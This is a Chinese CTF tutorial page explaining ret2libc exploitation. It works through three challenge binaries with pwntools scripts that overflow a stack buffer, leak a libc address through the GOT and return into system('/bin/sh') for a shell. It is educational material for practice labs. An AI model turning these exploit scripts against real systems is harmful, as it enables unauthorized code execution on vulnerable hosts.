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aria-label="icon: down" class="anticon anticon-down"><svg viewBox="64 64 896 896" focusable="false" data-icon="down" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M884 256h-75c-5.1 0-9.9 2.5-12.9 6.6L512 654.2 227.9 262.6c-3-4.1-7.8-6.6-12.9-6.6h-75c-6.5 0-10.3 7.4-6.5 12.7l352.6 486.1c12.8 17.6 39 17.6 51.7 0l352.6-486.1c3.9-5.3.1-12.7-6.4-12.7z"></path></svg></i></span></p> <!----></section></li></ul></aside> <main class="page"> <div class="theme-antdocs-content content__default"><h2 id="原理">原理 <a href="#原理" class="header-anchor">#</a></h2> <p>ret2lic即劫持程序的控制流，使其执行libc中的函数，一般是返回到某个函数的plt处，或者某个函数的具体位置（函数对应got表的内容），大多情况下是执行system('/bin/sh')。</p> <h2 id="例题1">例题1 <a href="#例题1" class="header-anchor">#</a></h2> <p>题目下载链接：https://pan.baidu.com/s/1DzkmINus__xu3_qkwoIPwQ 提取码：0000</p> <p>首先查看一下程序开了哪些安全保护</p> <p><img src="/images/ret2libc/1.png" alt="image-20210105202149700"></p> <p>程序是小端序32位，开了NX防护。接着使用ida查看一下程序</p> <p><img src="/images/ret2libc/2.png" alt="image-20210105202739929"></p> <p>程序有明显的栈溢出，在plt表中发现有system函数的地址和/bin/sh字符串</p> <p><img src="/images/ret2libc/3.png" alt="image-20210105203242739"></p> <p><img src="/images/ret2libc/4.png" alt="image-20210105203513119"></p> <p>通过gdb调试确定字符串s的地址离ebp有多少字节，直接通过ida也能确定需要填充多少字符,，不过动态调试结果比较准</p> <p><img src="/images/ret2libc/5.png" alt="image-20210105203911307"></p> <p>最后的exp如下：</p> <div class="language-python line-numbers-mode"><pre class="language-python"><code><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span>

context<span class="token punctuation">.</span>log_level <span class="token operator">=</span> <span class="token string">'debug'</span>
p <span class="token operator">=</span> process<span class="token punctuation">(</span><span class="token string">'./ret2libc1'</span><span class="token punctuation">)</span>
elf <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">'./ret2libc1'</span><span class="token punctuation">)</span>

sys_addr <span class="token operator">=</span> elf<span class="token punctuation">.</span>plt<span class="token punctuation">[</span><span class="token string">'system'</span><span class="token punctuation">]</span>
bin_sh <span class="token operator">=</span> elf<span class="token punctuation">.</span>search<span class="token punctuation">(</span><span class="token string">'/bin/sh'</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token builtin">next</span><span class="token punctuation">(</span><span class="token punctuation">)</span>

payload <span class="token operator">=</span> cyclic<span class="token punctuation">(</span><span class="token number">0x70</span><span class="token punctuation">)</span> <span class="token operator">+</span> p32<span class="token punctuation">(</span>sys_addr<span class="token punctuation">)</span> <span class="token operator">+</span> p32<span class="token punctuation">(</span><span class="token number">0xdeadbeef</span><span class="token punctuation">)</span> <span class="token operator">+</span> p32<span class="token punctuation">(</span>bin_sh<span class="token punctuation">)</span>

p<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token punctuation">)</span>
p<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>

p<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span>
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br><span class="line-number">2</span><br><span class="line-number">3</span><br><span class="line-number">4</span><br><span class="line-number">5</span><br><span class="line-number">6</span><br><span class="line-number">7</span><br><span class="line-number">8</span><br><span class="line-number">9</span><br><span class="line-number">10</span><br><span class="line-number">11</span><br><span class="line-number">12</span><br><span class="line-number">13</span><br><span class="line-number">14</span><br><span class="line-number">15</span><br></div></div><h2 id="例题2">例题2 <a href="#例题2" class="header-anchor">#</a></h2> <p>题目下载链接：https://pan.baidu.com/s/1I9IOqD3Jq6RrghlUNL0wsg  提取码：0000</p> <p>这道题与例题1基本相似，只是程序中没有了/bin/sh字符串，我们需要通过gets函数手动写入/bin/sh字符串到一个可写可执行区域，通常在bss段，在ida找到一个地址</p> <p><img src="/images/ret2libc/6.png" alt="image-20210105205900389"></p> <div class="language-python line-numbers-mode"><pre class="language-python"><code><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span>

context<span class="token punctuation">.</span>log_level <span class="token operator">=</span> <span class="token string">'debug'</span>
p <span class="token operator">=</span> process<span class="token punctuation">(</span><span class="token string">'./ret2libc2'</span><span class="token punctuation">)</span>
elf <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">'./ret2libc2'</span><span class="token punctuation">)</span>

sys_addr <span class="token operator">=</span> elf<span class="token punctuation">.</span>plt<span class="token punctuation">[</span><span class="token string">'system'</span><span class="token punctuation">]</span>
gets_addr <span class="token operator">=</span> elf<span class="token punctuation">.</span>plt<span class="token punctuation">[</span><span class="token string">'gets'</span><span class="token punctuation">]</span>
bss_addr <span class="token operator">=</span> <span class="token number">0x0804A080</span>

payload <span class="token operator">=</span> cyclic<span class="token punctuation">(</span><span class="token number">0x70</span><span class="token punctuation">)</span> <span class="token operator">+</span> p32<span class="token punctuation">(</span>gets_addr<span class="token punctuation">)</span> <span class="token operator">+</span> p32<span class="token punctuation">(</span>sys_addr<span class="token punctuation">)</span> <span class="token operator">+</span> p32<span class="token punctuation">(</span>bss_addr<span class="token punctuation">)</span> <span class="token operator">+</span> p32<span class="token punctuation">(</span>bss_addr<span class="token punctuation">)</span>

p<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token punctuation">)</span>
p<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>
p<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token string">'/bin/sh'</span><span class="token punctuation">)</span>

p<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span>
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br><span class="line-number">2</span><br><span class="line-number">3</span><br><span class="line-number">4</span><br><span class="line-number">5</span><br><span class="line-number">6</span><br><span class="line-number">7</span><br><span class="line-number">8</span><br><span class="line-number">9</span><br><span class="line-number">10</span><br><span class="line-number">11</span><br><span class="line-number">12</span><br><span class="line-number">13</span><br><span class="line-number">14</span><br><span class="line-number">15</span><br><span class="line-number">16</span><br><span class="line-number">17</span><br></div></div><h2 id="例题3">例题3 <a href="#例题3" class="header-anchor">#</a></h2> <p>题目下载链接：https://pan.baidu.com/s/1wk3JFQBHgVZ0vjfnQk60Ug  提取码：0000</p> <p>例题3相对于前面两道例题难度加大了不少，程序中既没有system函数的地址，也没有/bin/sh字符串，我们需要使用libc中的system函数和/bin/sh，题目已经将libc版本给了出来，这时需要泄露libc某个函数的地址。</p> <p>先使用ida查看程序</p> <p><img src="/images/ret2libc/7.png" alt="image-20210105213153494"></p> <p>主函数中并没有产生溢出，但有两个可以的函数，跟进去看看</p> <p><img src="/images/ret2libc/8.png" alt="image-20210105213403543"></p> <p>See_something函数是打印给定地址的值，可以通过这个漏洞函数可以泄露libc函数的地址</p> <p><img src="/images/ret2libc/9.png" alt="image-20210105213622064"></p> <p>Print_message函数的字符串拷贝存在栈溢出，又main函数可知src字符串长度最多可达256，远超过56。由于在libc中各函数地址的偏移是固定的，通过泄露出某个函数的真实地址，再减去该函数在libc中的地址就能得到libc函数中加载到内存的基址，这样就能计算出system函数和/bin/sh的地址。</p> <p>exp如下：</p> <div class="language-python line-numbers-mode"><pre class="language-python"><code><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span>

context<span class="token punctuation">.</span>log_level <span class="token operator">=</span> <span class="token string">'debug'</span>
p <span class="token operator">=</span> process<span class="token punctuation">(</span><span class="token string">'./ret2libc3'</span><span class="token punctuation">)</span>
elf <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">'./ret2libc3'</span><span class="token punctuation">)</span>
libc <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">'./libc-2.23.so'</span><span class="token punctuation">)</span>


p<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">'(in dec) :'</span><span class="token punctuation">)</span>
p<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>elf<span class="token punctuation">.</span>got<span class="token punctuation">[</span><span class="token string">'puts'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span>
puts_addr <span class="token operator">=</span> p<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">'/n'</span><span class="token punctuation">,</span> drop <span class="token operator">=</span> <span class="token boolean">True</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token operator">-</span><span class="token number">10</span><span class="token punctuation">:</span><span class="token punctuation">]</span>
p<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">'for me :'</span><span class="token punctuation">)</span>

libc_base <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span>puts_addr<span class="token punctuation">,</span> <span class="token number">16</span><span class="token punctuation">)</span> <span class="token operator">-</span> libc<span class="token punctuation">.</span>symbols<span class="token punctuation">[</span><span class="token string">'puts'</span><span class="token punctuation">]</span>
sys_addr <span class="token operator">=</span> libc_base <span class="token operator">+</span> libc<span class="token punctuation">.</span>symbols<span class="token punctuation">[</span><span class="token string">'system'</span><span class="token punctuation">]</span>
bin_sh <span class="token operator">=</span> libc_base <span class="token operator">+</span> libc<span class="token punctuation">.</span>search<span class="token punctuation">(</span><span class="token string">'/bin/sh'</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token builtin">next</span><span class="token punctuation">(</span><span class="token punctuation">)</span>

payload <span class="token operator">=</span> cyclic<span class="token punctuation">(</span><span class="token number">0x3c</span><span class="token punctuation">)</span> <span class="token operator">+</span> p32<span class="token punctuation">(</span>sys_addr<span class="token punctuation">)</span> <span class="token operator">+</span> p32<span class="token punctuation">(</span><span class="token number">0xdeadbeef</span><span class="token punctuation">)</span> <span class="token operator">+</span> p32<span class="token punctuation">(</span>bin_sh<span class="token punctuation">)</span>

p<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>
p<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span>
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br><span class="line-number">2</span><br><span class="line-number">3</span><br><span class="line-number">4</span><br><span class="line-number">5</span><br><span class="line-number">6</span><br><span class="line-number">7</span><br><span class="line-number">8</span><br><span class="line-number">9</span><br><span class="line-number">10</span><br><span class="line-number">11</span><br><span class="line-number">12</span><br><span class="line-number">13</span><br><span class="line-number">14</span><br><span class="line-number">15</span><br><span class="line-number">16</span><br><span class="line-number">17</span><br><span class="line-number">18</span><br><span class="line-number">19</span><br><span class="line-number">20</span><br><span class="line-number">21</span><br></div></div><h2 id="总结">总结 <a href="#总结" class="header-anchor">#</a></h2> <p>实际上大部分题都需要我们自己获得system函数的地址，通常是通过libc的延迟绑定机制，泄露出已经执行过的函数的地址，而libc中的函数之间的相对偏移是固定的，有时候还需要返回到main函数或其他函数多次构造payload进行利用。</p></div> <footer class="page-edit"><!----> <div class="last-updated"><span class="prefix">上次更新:</span> <span class="time">12/18/2021, 12:46:42 PM</span></div></footer> <div class="page-nav"><p class="inner"><span class="prev"><a href="/knowledge/ctf/ret2syscall.html" class="prev"><i aria-label="icon: left" class="anticon anticon-left"><svg viewBox="64 64 896 896" focusable="false" data-icon="left" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M724 218.3V141c0-6.7-7.7-10.4-12.9-6.3L260.3 486.8a31.86 31.86 0 0 0 0 50.3l450.8 352.1c5.3 4.1 12.9.4 12.9-6.3v-77.3c0-4.9-2.3-9.6-6.1-12.6l-360-281 360-281.1c3.8-3 6.1-7.7 6.1-12.6z"></path></svg></i>
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